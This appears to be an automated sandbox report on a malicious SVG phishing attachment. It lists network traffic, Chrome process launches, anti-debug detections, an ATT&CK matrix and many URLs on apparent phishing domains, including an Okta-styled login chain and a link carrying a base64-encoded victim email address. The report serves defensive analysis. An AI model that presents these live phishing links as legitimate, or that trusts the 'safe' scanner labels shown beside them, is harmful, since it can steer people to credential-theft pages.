Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.80.68:443 -> 192.168.2.9:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.9:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.9:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.9:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.9:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.9:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.9:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.9:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.9:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.9:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.9:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.9:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.9:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.9:49795 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir7120_2100199261

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir7120_2100199261

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@23/78@42/21

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2112,i,3603987085486246013,6490216697093961164,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2172 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\scan020250310_OrderTermax-3_19_2025.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2112,i,3603987085486246013,6490216697093961164,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2172 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
scan020250310_OrderTermax-3_19_2025.svg	0%	Virustotal		Browse

Source	Detection	Scanner	Label
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsCaU6NfMr9Kt12TCZsuv36	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/56q8sfKixywsK6715	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsyXMmU2jB34y6ylWj3uv36	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/lmHT5z2W4YMAOP4I9no6XMAOCRLoylOBPtFPoLHZEBlxY3Sjy	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqYmiqqu4J4ANanVyzm73nllLwx40	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/opowMPuYIMGVBx5n7AAG78V35uF3py8hCLijORfT7SVV23SFMOHax2cd200	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/mnWWLDoCvTuJ44YEia1IuvMedjsDXwWtKcXBKxZktSxIt90150	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/weMiO5475NClmL4euocG4r3o	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/56hyAd6qn1ojHUvPiwLRrhpIghU51JOppu89105	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrs8pdG8GgLuke34Q9amhuv35	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/qrzUTe01c3GA4ITsUYgBsEBWlbjIsxFsay4kKXstvJVvIlppDKa2IOiUQEuDchvXWODw5sef240	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqNAhmZOcMfKUtPosk4N34sZobuv40	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqWbEvgWkjRTKjFO12iw2fiiwx40	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/stswQdXTRgBY0HzyEciW65lotbhXj8llUSQGGnMzDa6o45W62oZe2tgZETQvll7NdGABhMQl2v2NBKsgNef260	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqkq7lzqptNjsuiaR6YyzVI9vn2uv40	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/klYCk90LKedSe1ynK7yyzmPttwF6ewB8doje9edLxZ78169	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsCMzrpRqTK9IuDo5uH120sKuv40	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/wxbZD8J7FTYmSxlvQoeRprDFjztNLmnVGfLqei0S3C5OKYFYXo90179	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/op6Mrs1renkJ35aO41HAghcddbJoa55lWN11kJbRL0p045131	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/1djFOQV/	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/abRFMesrs5Qef30	0%	Avira URL Cloud	safe
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqb3OD4IkkjVGPcFner12VAuv40	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/gkvAf6jmnBREz5yxvfgE6wSog3vYueIzzibi3xWIysUvIqpAiXk63xF05	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/mnjm6QpuiErQx7zC0OBDMbASZEnklbbBSnYfMePnUzuNcnHoQbiRZXUGebpGH4yuv218	0%	Avira URL Cloud	safe
https://mlzgl.pnkptj.ru/tarboz@zf1tq8	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/ijSkkjeYWqhqBKvnC2TUEqEfGmnJFn8Pjag4LHRcCqpfwe12210	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/favicon.ico	0%	Avira URL Cloud	safe
https://8rgz.mdrvgqsm.ru/uv6dQaecGK5byoKRd6YLzth3K2nstcKMWf5b0Wb3JsRU12125	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.3.189	true	false	high
github.com	140.82.113.3	true	false	high
code.jquery.com	151.101.2.137	true	false	high
8rgz.mdrvgqsm.ru	104.21.96.1	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	104.26.0.100	true	false	high
www.google.com	142.250.80.68	true	false	high
np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es	104.21.49.96	true	false	unknown
d19d360lklgih4.cloudfront.net	18.164.124.91	true	false	high
objects.githubusercontent.com	185.199.111.133	true	false	high
mlzgl.pnkptj.ru	104.21.48.1	true	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://8rgz.mdrvgqsm.ru/56q8sfKixywsK6715	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsyXMmU2jB34y6ylWj3uv36	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://8rgz.mdrvgqsm.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/weMiO5475NClmL4euocG4r3o	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/opowMPuYIMGVBx5n7AAG78V35uF3py8hCLijORfT7SVV23SFMOHax2cd200	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://8rgz.mdrvgqsm.ru/lmHT5z2W4YMAOP4I9no6XMAOCRLoylOBPtFPoLHZEBlxY3Sjy	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/mnWWLDoCvTuJ44YEia1IuvMedjsDXwWtKcXBKxZktSxIt90150	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=E%2B9u8CO2pzROYQZSdvlnIJwRvjU59jGQW3NnAPHYhkB1IYsmtVuvCXTXFMuzyLFbZmYvsZi0r9VLPxkPTT8wRuVu%2BKuSO2zmuf9WsU%2F6S3LKShW4MckN2CJYxkFh	false		high
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsCaU6NfMr9Kt12TCZsuv36	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://8rgz.mdrvgqsm.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqYmiqqu4J4ANanVyzm73nllLwx40	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/1djFOQV/#bWxvd0B0ZXJtYXguY29t	false		unknown
https://8rgz.mdrvgqsm.ru/56hyAd6qn1ojHUvPiwLRrhpIghU51JOppu89105	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqNAhmZOcMfKUtPosk4N34sZobuv40	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrs8pdG8GgLuke34Q9amhuv35	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqkq7lzqptNjsuiaR6YyzVI9vn2uv40	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=JEAk73C%2FcRBsnUcW0geBRWoatzU6W3xcfSf1vi0Xakdl1LsyhFVdxKBpYNChbN9MecUawS0uglPdhchsOVbCewohOe9jb9w6H7IsvgCd%2F27F4%2BnMsVE4CHjxWGTt	false		high
https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	true		unknown
https://8rgz.mdrvgqsm.ru/stswQdXTRgBY0HzyEciW65lotbhXj8llUSQGGnMzDa6o45W62oZe2tgZETQvll7NdGABhMQl2v2NBKsgNef260	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqWbEvgWkjRTKjFO12iw2fiiwx40	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://8rgz.mdrvgqsm.ru/qrzUTe01c3GA4ITsUYgBsEBWlbjIsxFsay4kKXstvJVvIlppDKa2IOiUQEuDchvXWODw5sef240	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/klYCk90LKedSe1ynK7yyzmPttwF6ewB8doje9edLxZ78169	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://8rgz.mdrvgqsm.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsCMzrpRqTK9IuDo5uH120sKuv40	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/wxbZD8J7FTYmSxlvQoeRprDFjztNLmnVGfLqei0S3C5OKYFYXo90179	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/op6Mrs1renkJ35aO41HAghcddbJoa55lWN11kJbRL0p045131	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/1djFOQV/	true	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/abRFMesrs5Qef30	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/mnjm6QpuiErQx7zC0OBDMbASZEnklbbBSnYfMePnUzuNcnHoQbiRZXUGebpGH4yuv218	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://8rgz.mdrvgqsm.ru/gkvAf6jmnBREz5yxvfgE6wSog3vYueIzzibi3xWIysUvIqpAiXk63xF05	false	Avira URL Cloud: safe	unknown
https://np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es/kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqb3OD4IkkjVGPcFner12VAuv40	false	Avira URL Cloud: safe	unknown
https://mlzgl.pnkptj.ru/tarboz@zf1tq8	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/ijSkkjeYWqhqBKvnC2TUEqEfGmnJFn8Pjag4LHRcCqpfwe12210	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=PZeSXc%2FadZ%2Be6U%2FnK%2F%2B9zdlRDKH%2BuY5npl77UHhQx2S4i7bSLdgR5sx%2FdMeLpafVwPVu187xKd7fgKZkVe3PxXBLUUk4w0nq5Y2s0UEeuseSXkUj1auFBNLM03Sn	false		high
https://8rgz.mdrvgqsm.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://8rgz.mdrvgqsm.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://8rgz.mdrvgqsm.ru/uv6dQaecGK5byoKRd6YLzth3K2nstcKMWf5b0Wb3JsRU12125	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_70.1.dr	false		high
https://www.target.com	chromecache_112.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.80.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.48.1	mlzgl.pnkptj.ru	United States	13335	CLOUDFLARENETUS	false
140.82.113.3	github.com	United States	36459	GITHUBUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.49.96	np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.111.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
172.67.189.188	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.96.1	8rgz.mdrvgqsm.ru	United States	13335	CLOUDFLARENETUS	true
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.3.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
104.21.16.1	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.124.96	unknown	United States	3	MIT-GATEWAYSUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.26.0.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.9
192.168.2.5
192.168.2.22

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643969
Start date and time:	2025-03-20 08:55:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
